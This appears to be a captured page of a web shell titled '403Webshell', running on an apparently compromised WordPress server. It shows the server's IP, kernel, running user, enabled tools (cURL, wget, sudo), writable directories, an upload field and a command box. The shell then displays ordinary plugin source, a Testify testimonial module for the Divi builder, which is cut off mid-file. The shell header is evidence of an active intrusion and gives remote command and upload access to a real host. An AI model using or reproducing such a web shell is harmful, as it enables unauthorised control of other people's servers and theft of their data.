403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/testify/includes/modules/Testify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/testify/includes/modules/Testify/Testify.php
<?php
/*
 * This file includes code from the Divi theme by Elegant Themes
 * See licensing details in the license.txt file
 * Modified by Jonathan Hall, Coulter Peterson, Dominika Rauk and/or others; last modified 2020-09-15
 *
 */

function ags_testify_get_html($component_props_obj, $module_id=null, $module_class=null) {

	$defaults = testify_get_options_current();

	// Create new array that includes the few values that get renamed
	$args = array(
		'sep_show' => ( isset($component_props_obj['show_separator']) && $component_props_obj['show_separator'] == 'on' ? 1 : 0 ),
		'sep_height' => $component_props_obj['separator_thickness'],
		'count' => $component_props_obj['posts_number'],
		'order' => $component_props_obj['order'],
		'align' => isset($component_props_obj['alignment']) ? $component_props_obj['alignment'] : 'center',
		'bgcolor' => $component_props_obj['bgcolor'],
		'nav_type' => $component_props_obj['navigation_type'],
		'readmore' => ($component_props_obj['readmore'] == 'on' ? 1 : 0),
		'readmore_limit' => $component_props_obj['readmore_limit'],
		'readmore_morelink' => $component_props_obj['readmore_morelink'],
		'readmore_lesslink' => $component_props_obj['readmore_lesslink'],
		'readmore_font' => '',
		'readmore_font_size' => '',
		'readmore_color' => '',
		'readmore_letter_spacing' => '',
		'readmore_use_icon' => $component_props_obj['readmore_use_icon'],
		'readmore_icon' => isset($component_props_obj['readmore_icon']) ? $component_props_obj['readmore_icon'] : '', // TODO: not sure if this line is needed?
		'readmore_icon_et' => $component_props_obj['readmore_icon_et'],
		'readmore_icon_color' => $component_props_obj['readmore_icon_color'],
		'readmore_icon_placement' => $component_props_obj['readmore_icon_placement'],
		'readmore_less_icon' => isset($component_props_obj['readmore_less_icon']) ? $component_props_obj['readmore_less_icon'] : '', // TODO: not sure if this line is needed?
		'readmore_less_icon_et' => $component_props_obj['readmore_less_icon_et'],
		'readmore_less_icon_color' => $component_props_obj['readmore_less_icon_color'],
		'readmore_less_icon_placement' => $component_props_obj['readmore_less_icon_placement'],
		'nav_arrows' => ($component_props_obj['nav_arrows'] == 'on' ? 1 : 0),
		'qmark' => ($component_props_obj['qmark'] == 'on' && $component_props_obj['qmark_style'] ? $component_props_obj['qmark_style'] : 0),
		'qmark_width' => $component_props_obj['qmark_width'],
		'font_family' => '',
		'font_italic' => false,
		'text_uppercase' => false,
		'font_weight' => '',
		'font_size' => '',
		'font_family_author' => '',
		'font_italic_author' => false,
		'text_uppercase_author' => false,
		'font_weight_author' => '',
		'font_size_author' => '',
		'image_width' => ($component_props_obj['show_testimonial_image'] == 'on' ? $component_props_obj['image_width'] : 0),
		'image_width_900' => ($component_props_obj['show_testimonial_image'] == 'on' ? $component_props_obj['image_width_900'] : 0),
		'image_width_600' => ($component_props_obj['show_testimonial_image'] == 'on' ? $component_props_obj['image_width_600'] : 0),
		'image_width_400' => ($component_props_obj['show_testimonial_image'] == 'on' ? $component_props_obj['image_width_400'] : 0),
		'image_size' => $component_props_obj['image_size'],
		'image_shape' => $component_props_obj['image_shape'],
		'image_border_width' => $component_props_obj['image_border_width'],
		'image_shadow' => ($component_props_obj['image_shadow'] == 'on' ? 1 : 0),
		'thumb_per_row' => $component_props_obj['thumb_per_row'],
		'thumb_per_row_900' => $component_props_obj['thumb_per_row_900'],
		'thumb_per_row_600' => $component_props_obj['thumb_per_row_600'],
		'thumb_per_row_400' => $component_props_obj['thumb_per_row_400'],
		'thumb_width' => $component_props_obj['thumb_width'],
		'thumb_spacing' => $component_props_obj['thumb_spacing'],
		'thumb_row_bgcolor' => $component_props_obj['thumb_row_bgcolor'],
		'thumb_inactive_color' => $component_props_obj['thumb_inactive_color'],
		'bgcolor' => $component_props_obj['bgcolor'],
		'text_color' => $defaults['text_color'],
		'text_color_author' => $defaults['text_color_author'],
		'qmark_color' => $component_props_obj['qmark_color'],
		'sep_color' => $component_props_obj['separator_color'],
		'image_border_color' => $component_props_obj['image_border_color'],
		'autoplay_duration' => $component_props_obj['autoplay_duration'],
		'transition_type' => $component_props_obj['transition_type'],
		'transition_duration' => $component_props_obj['transition_duration'],
	);

	// Create a copy of the defaults and overwrite values with parameters received that are not empty
	$defaultsArrayObject = new ArrayObject($defaults);
	$combinedArgs = $defaultsArrayObject->getArrayCopy();

	foreach( $combinedArgs as $key => $value ) {
		if( ($args[$key] !== '') && ($args[$key] !== null) ) {
			$combinedArgs[$key] = $args[$key];
		}
	}
	
	if (isset($component_props_obj['include_categories'])) {
		$combinedArgs['category'] = $component_props_obj['include_categories'];
	}
	
	if (isset($component_props_obj['include_tags'])) {
		$combinedArgs['tag'] = $component_props_obj['include_tags'];
	}

	//Values to pass to Testify
	$atts = $combinedArgs;
	$atts['_divi'] = true;

	if ($module_class)
	{  
		$atts['module_class'] = $module_class;
	}  

	if ($module_id)
	{ 
		$atts['module_id'] = $module_id;
	}  

	//$container_is_closed = false;
	//$post_classes = array('et_pb_post','testify_divi_module');

	// remove all filters from WP audio shortcode to make sure current theme doesn't add any elements into audio module
	remove_all_filters( 'wp_audio_shortcode_library' );
	remove_all_filters( 'wp_audio_shortcode' );
	remove_all_filters( 'wp_audio_shortcode_class');
	
	ob_start();
	require(TESTIFY_PLUGIN_DIR . '/includes/shortcode.php');

	testify_shortcode_output($atts);

	$posts = ob_get_contents();

	ob_end_clean();

	return $posts;
}

if (!defined('AGS_TESTIFY_AJAX_RENDERING')) {
	class TESTIFY_TestifyModule extends ET_Builder_Module {

		public $slug       = 'et_pb_testify';
		public $vb_support = 'on';

		protected $module_credits = array(
			'module_uri' => 'https://wpzone.co/product/testify',
			'author'     => 'WP Zone',
			'author_uri' => 'https://wpzone.co/',
		);	

		function init() {
			//$this->name = esc_html__( 'Testify', 'testify' );
			$this->name = esc_html__( 'Testify', 'testify-testify' );
			$this->icon_path        	  =  plugin_dir_path( __FILE__ ) . 'icon.svg';
			//$this->slug = 'et_pb_testify';
			$defaults = testify_get_options_current();
		
			$this->whitelisted_fields = array(
			  'module_id',
			  'module_class',
			  'include_tags',
			  'posts_number',
			  'order',
			  'include_categories',
			  'alignment',
			  'separator',
			  'bgcolor',
			  'navigation_type',
			  'readmore',
			  'readmore_limit',
			  'readmore_morelink',
			  'readmore_lesslink',
			  'readmore_font',
			  'readmore_font_size',
			  'readmore_color',
			  'readmore_letter_spacing',
			  'readmore_use_icon',
			  'readmore_icon',
			  'readmore_icon_et',
			  'readmore_icon_color',
			  'readmore_icon_placement',
			  'readmore_less_icon',
			  'readmore_less_icon_et',
			  'readmore_less_icon_color',
			  'readmore_less_icon_placement',
			  'nav_arrows',
			  'qmark',
			  'qmark_style',
			  'qmark_width',
			  'qmark_color',
			  'show_separator',
			  'separator_thickness',
			  'separator_color',
			  'show_testimonial_image',
			  'image_width',
			  'image_size',
			  'image_width_900',
			  'image_width_600',
			  'image_width_400',
			  'thumb_width',
			  'image_shape',
			  'image_border_width',
			  'image_border_color',
			  'image_shadow',
			  'transition_type',
			  'transition_duration',
			  'autoplay_duration',
			  'thumb_per_row',
			  'thumb_per_row_900',
			  'thumb_per_row_600',
			  'thumb_per_row_400',
			  'thumb_spacing',
			  'thumb_row_bgcolor',
			  'thumb_inactive_color',
			);
		
			$this->fields_defaults = array(
			  'posts_number' => array( $defaults['count'], 'add_default_setting' ),
			  'bgcolor' => array($defaults['bgcolor'], 'add_default_setting'),
			  'order' => array($defaults['order'], 'add_default_setting'),
			  'readmore' => array($defaults['readmore'], 'add_default_setting'),
			  'readmore_limit' => array($defaults['readmore_limit'], 'add_default_setting'),
			  'readmore_morelink' => array($defaults['readmore_morelink'], 'add_default_setting'),
			  'readmore_lesslink' => array($defaults['readmore_lesslink'], 'add_default_setting'),
			  'readmore_use_icon' => array($defaults['readmore_use_icon'], 'add_default_setting'),
			  'readmore_icon_et' => array($defaults['readmore_icon_et'], 'add_default_setting'),
			  'readmore_icon_color' => array($defaults['readmore_icon_color'], 'add_default_setting'),
			  'readmore_icon_placement' => array($defaults['readmore_icon_placement'], 'add_default_setting'),
			  'readmore_less_icon_et' => array($defaults['readmore_less_icon_et'], 'add_default_setting'),
			  'readmore_less_icon_color' => array($defaults['readmore_less_icon_color'], 'add_default_setting'),
			  'readmore_less_icon_placement' => array($defaults['readmore_less_icon_placement'], 'add_default_setting'),
			  'nav_arrows' => array($defaults['nav_arrows'] ? 'on' : 'off', 'add_default_setting'),
			  'qmark' => array($defaults['qmark'] ? 'on' : 'off', 'add_default_setting'),
			  'qmark_width' => array($defaults['qmark_width'], 'add_default_setting'),
			  'qmark_color' => array($defaults['qmark_color'], 'add_default_setting'),
			  'separator_thickness' => array($defaults['sep_height'], 'add_default_setting'),
			  'image_width' => array($defaults['image_width'], 'add_default_setting'),
			  'image_size' => array($defaults['image_size'], 'add_default_setting'),
			  'image_width_900' => array($defaults['image_width_900'], 'add_default_setting'),
			  'image_width_600' => array($defaults['image_width_600'], 'add_default_setting'),
			  'image_width_400' => array($defaults['image_width_400'], 'add_default_setting'),
			  'thumb_width' => array($defaults['thumb_width'], 'add_default_setting'),
			  'separator_color' => array($defaults['sep_color'], 'add_default_setting'),
			  'show_testimonial_image' => array('on'),
			  'image_shape' => array($defaults['image_shape'], 'add_default_setting'),
			  'image_border_width' => array($defaults['image_border_width'], 'add_default_setting'),
			  'image_border_color' => array($defaults['image_border_color'], 'add_default_setting'),
			  'image_shadow' => array('on'),
			  'transition_type' => array($defaults['transition_type'], 'add_default_setting'),
			  'transition_duration' => array($defaults['transition_duration'], 'add_default_setting'),
			  'autoplay_duration' => array($defaults['autoplay_duration'], 'add_default_setting'),
			  'thumb_per_row' => array($defaults['thumb_per_row'], 'add_default_setting'),
			  'thumb_per_row_900' => array($defaults['thumb_per_row_900'], 'add_default_setting'),
			  'thumb_per_row_600' => array($defaults['thumb_per_row_600'], 'add_default_setting'),
			  'thumb_per_row_400' => array($defaults['thumb_per_row_400'], 'add_default_setting'),
			  'thumb_spacing' => array($defaults['thumb_spacing'], 'add_default_setting'),
			  'thumb_row_bgcolor' => array($defaults['thumb_row_bgcolor'], 'add_default_setting'),
			  'thumb_inactive_color' => array($defaults['thumb_inactive_color'], 'add_default_setting'),
			);
		
			$this->main_css_element = '%%order_class%% .et_pb_post .testify_divi_module';
		
			/*
			*
			* Design tab
			*
			*/
			$this->advanced_fields = array(
			  'fonts' => array(
				'body' => array(
				  'label' => esc_html__( 'Testimonial', 'testify-testify' ),
				  'css' => array(
					'main' => "%%order_class%% .testify-testimonials .testimonial-body",
					'important' => 'all',
				  ),
				),
				'name' => array(
				  'label' => esc_html__( 'Author', 'testify-testify' ),
				  'css' => array(
					'main' => "%%order_class%% .testify-testimonials .person-name p, %%order_class%% .testify-testimonials .person-name p a",
					'important' => 'all',
				  ),
				),
				'readmore_text' => array(
				  'label' => esc_html__( 'Read More', 'testify-testify' ),
				  'css' => array(
					'main' => "%%order_class%% .testify-testimonials .testify-link-readmore-text, %%order_class%% .testify-testimonials .testify-link-readless-text",
				  ),
				  'font' => array(
					'toggle_slug' => 'readmore'
				  ),
				  'hide_font_size' => true,
				  'hide_letter_spacing' => true,
				  'hide_line_height' => true,
				  'hide_text_color' => true,
				  'hide_text_shadow' => true, // redone all of the hide_*
				  'disable_toggle' => true,
				),
				'readmore' => array(
				  'label' => esc_html__( 'Read More', 'testify-testify' ),
				  'css' => array(
					'main' => "%%order_class%% .testify-testimonials .testify-link-readmore, %%order_class%% .testify-testimonials .testify-link-readless",
				  ),
				  'hide_font' => true,
				  'font_size' => array(
					'default' => '16px'
				  ),
				  'text_color' => array(
					'default' => '#2ea3f2'
				  ),
				  'letter_spacing' => array(
					'default' => '2px'
				  ),
				),
			  )
			);
			
			// Set default font value if it should be italic
			if (!empty($defaults['font_italic'])) {
				$this->advanced_options['fonts']['body']['font'] = array(
					'default' => '||on||||||'
				);
			}
			
			$this->settings_modal_toggles = array(
				'advanced' => array(
					'toggles' => array(
						'layout_design' => array(
							'title'    => esc_html__( 'Layout Design', 'testify-testify' ),
							'priority' => 70,
						),
						'navigation_settings' => array(
							'title'    => esc_html__( 'Navigation Settings', 'testify-testify' ),
							'priority' => 71,
						),
						'quotation_design' => array(
							'title'    => esc_html__( 'Quotation Design', 'testify-testify' ),
							'priority' => 72,
						),
						'separator' => array(
							'title'    => esc_html__( 'Separator', 'testify-testify' ),
							'priority' => 73,
						),
						'testimonial_image' => array(
							'title'    => esc_html__( 'Testimonial Image', 'testify-testify' ),
							'priority' => 74,
						),
						'thumbnails' => array(
							'title'    => esc_html__( 'Thumbnails', 'testify-testify' ),
							'priority' => 75,
						)
					),
				)
			);
			
		  }
		  
		  /*
		  *
		  * Content tab
		  *
		  */
		  function get_fields() {
			  
			$fields = array(
			  'posts_number' => array(
				'label' => esc_html__( 'Number of Testimonials', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Choose how many Testimonials you like to display', 'testify-testify' ),
			  ),
			  'order' => array(
				'label' => esc_html__( 'Order', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  'date_desc' => esc_html__( 'Newest first', 'testify-testify' ),
				  'date_asc' => esc_html__( 'Oldest first', 'testify-testify' ),
				  'random' => esc_html__( 'Random', 'testify-testify' ),
				),
				'description' => esc_html__( 'Order in which the testimonials will appear.', 'testify-testify' ),
			  ),
			  
		  // The following two fields (with type "categories") are based on the above Order field and https://github.com/elegantthemes/create-divi-extension/issues/40
			 
		 'include_categories' => array(
			'label' => esc_html__( 'Only Show Testimonials In Categories', 'testify-testify' ),
			'type' => 'categories',
			'option_category' => 'configuration',
			'renderer_options' => array(
				'use_terms' => true,
				'term_name' => 'testify-cat'
			),
			'description' => esc_html__( 'Only show testimonials from the specified categories. Leave all fields unchecked to display all.', 'testify-testify' ),
		  ),
		  'include_tags' => array(
			'label' => esc_html__( 'Only Show Testimonials With Tags', 'testify-testify' ),
			'type' => 'categories',
			'option_category' => 'configuration',
			'renderer_options' => array(
				'use_terms' => true,
				'term_name' => 'testify-tag'
			),
			'description' => esc_html__( 'Only show testimonials with the specified tags. Leave all fields unchecked to display all.', 'testify-testify' ),
		  ),
			  
			  'alignment' => array(
				'label' => esc_html__( 'Alignment', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  'center' => esc_html__( 'Center', 'testify-testify' ),
				  'left' => esc_html__( 'Left', 'testify-testify' ),
				  'right' => esc_html__( 'Right', 'testify-testify' ),
				),
				'description' => esc_html__( 'Alignment of the testimonial content.', 'testify-testify' ),
			  ),
			  'bgcolor' => array(
				'label' => esc_html__( 'Background Color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'description' => esc_html__( 'Testimonial background color', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'layout_design',
			  ),
			  'navigation_type' => array(
				'label' => esc_html__( 'Navigation', 'testify-testify' ),
				'type' => 'select',
                'default' => 'none',
				'option_category' => 'configuration',
				'options' => array(
				  'thumbnails' => esc_html__( 'Thumbnails', 'testify-testify' ),
				  'dots' => esc_html__( 'Dots', 'testify-testify' ),
				  'none' => esc_html__( 'None', 'testify-testify' ),
				),
				'description' => esc_html__( 'Testimonial navigation type', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'navigation_settings'
			  ),
			  'readmore' => array(
				'label' => esc_html__( 'Show Read More Link', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'default' => 'on',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
				),
				'affects' => array(
					'readmore_limit',
					'readmore_morelink',
					'readmore_lesslink',
					'readmore_font',
					'readmore_text_align',
					'readmore_text_color',
					'readmore_font_size',
					'readmore_letter_spacing',
					'readmore_line_height',
					'readmore_text_shadow_style',
					'readmore_use_icon',
					'readmore_icon',
					'readmore_icon_color',
					'readmore_icon_placement',
					'readmore_less_icon',
					'readmore_less_icon_color',
					'readmore_less_icon_placement'
				),
				'description' => esc_html__( 'Collapse or expand long text with "Read more" and "Read less" links.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_limit' => array(
				'label' => esc_html__( 'Testimonial Length', 'testify-testify' ),
				'type' => 'number',
				'value_type' => 'int',
				'min' => 1,
				'max' => 1000,
				'option_category' => 'configuration',
				'description' => esc_html__( 'Set how much characters you want to show before "Read more" link.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_morelink' => array(
				'label' => esc_html__( 'Read More Text', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Change link text to show when text is collapsed.', 'testify-testify' ),
				'default' => 'Read more',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_lesslink' => array(
				'label' => esc_html__( 'Read Less Text', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Change link text to show when text is expanded.', 'testify-testify' ),
				'default' => 'Read less',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_use_icon' => array(
				'label'           => esc_html__( 'Add Read More Icon', 'testify-testify' ),
				'type'            => 'yes_no_button',
				'default'         => 'on',
				'options'         => array(
					'on'      => esc_html__( 'Yes', 'testify-testify' ),
					'off'     => esc_html__( 'No', 'testify-testify' ),
				),
				'affects' => array(
					'readmore_icon',
					'readmore_icon_color',
					'readmore_icon_placement',
					'readmore_less_icon',
					'readmore_less_icon_color',
					'readmore_less_icon_placement'
				),
				'shortcode_default' => 'default',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_icon_et' => array(
				'label'               => esc_html__( 'Read More Icon', 'testify-testify' ),
				'type'                => 'select_icon', // checked icon fields
				'class'               => array( 'testify-font-icon' ),
				'default'             => '%%18%%',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_icon_color' => array(
				'label'               => esc_html__( 'Read More Icon Color', 'testify-testify' ),
				'type'                => 'color-alpha',
				'custom_color'        => true,
				'default'             => '#0176c5',
				'shortcode_default'   => '',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_icon_placement' => array(
				'label'           => esc_html__( 'Read More Icon Placement', 'testify-testify' ),
				'type'            => 'select',
				'options'         => array(
					'right'   => esc_html__( 'Right', 'testify-testify' ),
					'left'    => esc_html__( 'Left', 'testify-testify' ),
				),
				'shortcode_default'   => 'right',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_less_icon_et' => array(
				'label'               => esc_html__( 'Read Less Icon', 'testify-testify' ),
				'type'                => 'select_icon',
				'class'               => array( 'testify-font-icon' ),
				'default'             => '%%17%%',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_less_icon_color' => array(
				'label'               => esc_html__( 'Read Less Icon Color', 'testify-testify' ),
				'type'                => 'color-alpha',
				'custom_color'        => true,
				'default'             => '#0176c5',
				'shortcode_default'   => '',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'readmore_less_icon_placement' => array(
				'label'           => esc_html__( 'Read Less Icon Placement', 'testify-testify' ),
				'type'            => 'select',
				'options'         => array(
					'right'   => esc_html__( 'Right', 'testify-testify' ),
					'left'    => esc_html__( 'Left', 'testify-testify' ),
				),
				'shortcode_default'   => 'right',
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'readmore',
				'priority' => 15
			  ),
			  'nav_arrows' => array(
				'label' => esc_html__( 'Show Navigation Arrows', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
				),
				'description' => esc_html__( 'Show navigation arrows', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'navigation_settings'
			  ),
			  'qmark' => array(
				'label' => esc_html__( 'Show Quotation Mark Image', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
				),
				'description' => esc_html__( 'Show quotation mark image', 'testify-testify' ),
				'affects' => array(
				  'qmark_style',
				  'qmark_width',
				  'qmark_color',
				),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'quotation_design'
			  ),
			  'qmark_style' => array(
				'label' => esc_html__( 'Quotation Mark Style', 'testify-testify' ),
				'type'                => 'select',
				'class'               => array( 'testify-qmark-styles' ),
				'default'             => '0',
				'options' => array( // checked:
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
					'7' => '7',
				),
				'description' => esc_html__( 'Quotation Mark Style', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'quotation_design'
			  ),
			  'qmark_width' => array(
				'label' => esc_html__( 'Quotation Image Width', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Quotation image width.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'quotation_design'
			  ),
			  'qmark_color' => array(
				'label' => esc_html__( 'Quotation Mark Image Color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Quotation mark image color', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'quotation_design'
			  ),
			  'show_separator' => array(
				'label' => esc_html__( 'Show Separator', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
			  ),
				'description' => esc_html__( 'Show separator between the testimonial and the name.', 'testify-testify' ),
				'affects' => array(
				  'separator_thickness',
				  'separator_color',
				),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'separator'
			  ),
			  'separator_thickness' => array(
				'label' => esc_html__( 'Separator thickness', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Separator thickness.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'separator'
			  ),
			  'separator_color' => array(
				'label' => esc_html__( 'Separator color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Color of the separator.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug'  => 'separator'
			  ),
			  'show_testimonial_image' => array(
				'label' => esc_html__( 'Show Testimonial Image', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
			  ),
				'description' => esc_html__( 'Show image above the testimonial.', 'testify-testify' ),
				'affects' => array(
				  'image_width',
				  'image_width_900',
				  'image_width_600',
				  'image_width_400',
				  /*'image_shape',
				  'image_border_width',
				  'image_border_color',
				  'image_shadow',*/
				),
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  ),
			  'image_size' => array(
				'label' => esc_html__( 'Testimonial image size', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Pixel resolution of the testimonial image to request from WordPress (example: enter <code>150</code> for 150x150). Does not affect the display size of the image. Do not include <code>px</code>. Enter <code>0</code> to use the original (non-resized) image.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  
			  ),
			  'image_width' => array(
				'label' => esc_html__( 'Maximum image width', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Maximum image width. Do not include px. Specify 0 to hide.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'testimonial_image',
				'default' => '150'
			  ),
			  'image_width_900' => array(
				'label' => esc_html__( 'Maximum image width (display width < 900px)', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Maximum image width under 900 pixels. Do not include px. Specify 0 to hide.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'testimonial_image',
				'default' => '150'
			  ),
			  'image_width_600' => array(
				'label' => esc_html__( 'Maximum image width (display width < 600px)', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Maximum image width under 600 pixels. Do not include px. Specify 0 to hide.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'testimonial_image',
				'default' => '150'
			  ),
			  'image_width_400' => array(
				'label' => esc_html__( 'Maximum image width (display width < 400px)', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Maximum image width under 400 pixels. Do not include px. Specify 0 to hide.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'toggle_slug' => 'testimonial_image',
				'default' => '150'
			  ),
			  'image_shape' => array(
				'label' => esc_html__( 'Image Shape', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  'circle' => esc_html__( 'Circle', 'testify-testify' ),
				  'square' => esc_html__( 'Square', 'testify-testify' ),
				),
				'depends_show_if' => 'on',
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					//'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  ),
			  'image_border_width' => array(
				'label' => esc_html__( 'Image border width', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Image border width.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					//'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  ),
			  'image_border_color' => array(
				'label' => esc_html__( 'Image border color', 'testify-testify' ),
				'type' => 'color-alpha',
				'custom_color' => true,
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Color of the border around the testimonial image', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					//'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  ),
			  'image_shadow' => array(
				'label' => esc_html__( 'Image Dropshadow', 'testify-testify' ),
				'type' => 'yes_no_button',
				'option_category' => 'configuration',
				'options' => array(
				  'on' => esc_html__( 'Yes', 'testify-testify' ),
				  'off' => esc_html__( 'No', 'testify-testify' ),
				),
				'depends_show_if' => 'on',
				'description' => esc_html__( 'Use dropshadow on the Testimonial image.', 'testify-testify' ),
				'tab_slug' => 'advanced',
				'show_if_not' => array(
					//'navigation_type' => 'thumbnails'
				),
				'toggle_slug' => 'testimonial_image'
			  ),
			  'transition_type' => array(
				'label' => esc_html__( 'Transition Type', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  'fade' => esc_html__( 'Fade', 'testify-testify' ),
				  'slide' => esc_html__( 'Slide', 'testify-testify' ),
				  'none' => esc_html__( 'None', 'testify-testify' ),
				)
			  ),
			  'transition_duration' => array(
				'label' => esc_html__( 'Animation Speed', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'Speed of animation.', 'testify-testify' ),
			  ),
			  'autoplay_duration' => array(
				'label' => esc_html__( 'Autoplay Duration (0 = disable autoplay)', 'testify-testify' ),
				'type' => 'text',
				'option_category' => 'configuration',
				'description' => esc_html__( 'In milliseconds, set to 0 to disable autoplay.', 'testify-testify' ),
			  ),
			  'thumb_per_row' => array(
				'label' => esc_html__( 'Thumbnails per row', 'testify-testify' ),
				'type' => 'select',
				'option_category' => 'configuration',
				'options' => array(
				  '12' => esc_html__( '12', 'testify-testify' ),
				  '11' => esc_html__( '11', 'testify-testify' ),
				  '10' => esc_html__( '10', 'testify-testify' ),
				  '9' => esc_html__( '9', 'testify-testify' ),
				  '8' => esc_html__( '8', 'testify-testify' ),
				  '7' => esc_html__( '7', 'testify-testify' ),
				  '6' => esc_html__( '6', 'testify-testify' ),
				  '5' => esc_html__( '5', 'testify-testify' ),
				  '4' => esc_html__( '4', 'testify-testify' ),
				  '3' => esc_html__( '3', 'testify-testify' ),
				  '2' => esc_html__( '2', 'testify-testify' ),
				  '1' => esc_html__( '1', 'testify-testify' ),
				  '0' => esc_html__( 'Hide thumbnail navigation', 'testify-testify' ),
				),
				'description' => esc_html__( 'Thumbnails per row.', 'testify-testify' ),
